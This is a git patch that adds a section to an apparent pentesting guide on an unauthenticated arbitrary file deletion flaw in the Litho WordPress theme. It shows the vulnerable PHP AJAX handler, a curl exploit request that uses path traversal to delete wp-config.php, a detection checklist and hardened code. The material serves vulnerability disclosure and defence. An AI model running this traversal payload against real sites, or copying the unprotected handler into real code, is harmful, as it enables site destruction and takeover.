From a910d723e92fc144a0e11235c0c8fad250676479 Mon Sep 17 00:00:00 2001
From: HackTricks News Bot <bot@hacktricks.xyz>
Date: Wed, 30 Jul 2025 18:31:37 +0000
Subject: [PATCH] Add content from: Unauthenticated Arbitrary File Deletion
 Vulnerability in Lit...

---
 .../pentesting-web/wordpress.md               | 86 +++++++++++++++++++
 1 file changed, 86 insertions(+)

diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 22b0ebde0..46219e9cc 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -408,6 +408,88 @@ The `permission_callback` is a callback to function that checks if a given user
 
 Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
 
+### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
+
+WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
+
+1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
+2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
+3. **Strict input sanitisation / validation**.
+
+The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
+
+```php
+function litho_remove_font_family_action_data() {
+    if ( empty( $_POST['fontfamily'] ) ) {
+        return;
+    }
+    $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
+    $upload_dir = wp_upload_dir();
+    $srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
+    $filesystem = Litho_filesystem::init_filesystem();
+
+    if ( file_exists( $srcdir ) ) {
+        $filesystem->delete( $srcdir, FS_CHMOD_DIR );
+    }
+    die();
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
+add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
+```
+
+Issues introduced by this snippet:
+
+* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
+* **No nonce / capability check** – any visitor can hit the endpoint.
+* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
+
+#### Exploitation
+
+An attacker can delete any file or directory **below the uploads base directory** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
+
+```bash
+curl -X POST https://victim.com/wp-admin/admin-ajax.php \
+     -d 'action=litho_remove_font_family_action_data' \
+     -d 'fontfamily=../../../../wp-config.php'
+```
+
+Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation.  Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
+
+Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
+
+#### Detection checklist
+
+* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
+* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
+* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
+
+#### Hardening
+
+```php
+function secure_remove_font_family() {
+    if ( ! is_user_logged_in() ) {
+        wp_send_json_error( 'forbidden', 403 );
+    }
+    check_ajax_referer( 'litho_fonts_nonce' );
+
+    $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
+    $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
+
+    if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
+        wp_send_json_error( 'invalid path', 400 );
+    }
+    // … proceed …
+}
+add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
+//  🔒  NO wp_ajax_nopriv_ registration
+```
+
+> [!TIP]
+> **Always** treat any write/delete operation on disk as privileged and double-check:
+> • Authentication  • Authorisation  • Nonce  • Input sanitisation  • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
+
+---
+
 ## WordPress Protection
 
 ### Regular Updates
@@ -436,4 +518,8 @@ Also, **only install trustable WordPress plugins and themes**.
 - **Limit login attempts** to prevent Brute Force attacks
 - Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
 
+## References
+
+- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
+
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